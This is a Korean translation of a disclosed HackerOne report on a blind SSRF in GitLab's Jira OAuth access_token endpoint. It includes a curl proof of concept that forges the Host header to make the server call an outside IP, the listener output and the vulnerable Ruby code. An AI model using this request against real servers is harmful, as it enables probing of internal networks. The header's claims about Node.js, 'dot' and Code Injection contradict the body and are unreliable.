A Hacker Next Door

OAuth Jira 권한부여 컨트롤러 안의 인증되지 않은 blind SSRF

Category: PoC
Tag: Bugbounty, SSRF, Translation, Hackerone

출처 : [hackerone hacktivity, 작성자 : Cristian-Alexandru Staicu (cris_semmle)] https://hackerone.com/reports/390929

[ 본 이슈는 해결 된 상태이며, 취약점은 한국시각으로 2019년 4월 3일 오후 7시 16분에 공개되었습니다. Node.js third-party modules에 리포팅 되었으며, 소스코드는 dot의 자산입니다. 취약점의 종류는 Code Injection이며, 포상금은 없습니다. 해당 취약점은 해당 도메인에서 7.4/10 정도의 심각성을 내포하고 있습니다. ]


Oauth::Jira::AuthorizationsController#access_token 엔드포인트는 blind SSRF 공격에 취약합니다. 이 취약점은 GitLab 인스턴스의 네트워크 상에서 공격자로 하여금 임의의 HTTP/HTTPS 요청을 보내게 합니다.

개념 증명(PoC)

공격을 수행하기 위해서는 아래의 단계를 밟아주세요:

curl -X POST -H 'Host: 162.243.147.21:81' 'https://gitlab.com/-/jira/login/oauth/access_token'
Listening on [0.0.0.0] (family 0, port 81)
Connection from [35.231.137.154] port 81 [tcp/*] accepted (family 2, sport 58558)
��ؒ����
��/$����4�i�,�֟J%>�+�/�,�0�����#�'�    ��$�(�
�gk39@j28��<=/5�l162.243.147.21

 Connection closed, listening again.

취약한 코드

다음의 코드는 Oauth::Jira::AuthorizationsController#access_token 메소드에서 발견됩니다.

def access_token
  auth_params = params
                  .slice(:code, :client_id, :client_secret)
                  .merge(grant_type: 'authorization_code', redirect_uri: oauth_jira_callback_url)

  auth_response = Gitlab::HTTP.post(oauth_token_url, body: auth_params, allow_local_requests: true)
  token_type, scope, token = auth_response['token_type'], auth_response['scope'], auth_response['access_token']

  render text: "access_token=#{token}&scope=#{scope}&token_type=#{token_type}"
end

GItlab::HTTP.post함수는 oauth_token_url을 직접적으로 매개변수로써 사용하고 있습니다. 이 _url Rails routing helper는 (필요하다면) Host헤더가 URL을 구성할 때 쓰입니다. 왜냐하면 모든 호스트는 GitLab에서 받아들여질 수 있고, 구성된 URL은 내부 시스템으로 향할 수 있기 때문입니다. 이것은 원래 이렇게 수행하도록 만들어졌습니다. 그러나(그러한 이유로), Host 헤더는 공격자의 임의적인 요청이 수행되는 것을 피할 수 있도록 post 요청을 수행하기 전에 체크를 해야합니다.


영향

서버의 응답은 사실상 해석(interpreted)되긴 하지만, 이것은 access_token, scope, token_type으로 리턴이 되는 JSON 응답으로 제한되어있습니다. 그러나, 이것은 인스턴스의 네트워크상의 인증되지 않은 엔드포인트가 있을 수 있기 때문에 생각지못한 결과를 가져올 수 있습니다. 공격 가능성이 낮고, 이러한 이유로 공격 복잡도가 높게 설정된 이유입니다. 가용성 문제에 크지 않은 영향을 끼칠 수 있는데, 이것은 60초(curl -X POST -H ‘Host: 162.243.147.21:81’ 0.03s user 0.01s system 0% cpu 1:00.76 total)로 설정된 TCP 읽기 타임아웃에 의한 쓰레드 동작의 정지 때문입니다(원문: because a thread is blocked on the TCP read timeout, which is set to 60 seconds). 무결성에는 영향을 많이 미치지만 이것은 다른 내부 서비스에 접속(원문: internal services can be hit)되는 것과 같은 부가적인 요인에 의해서 발생되는 것 입니다. 함수를 호출하기 위해 일반 사용자는 인증될 필요는 없습니다.

▲top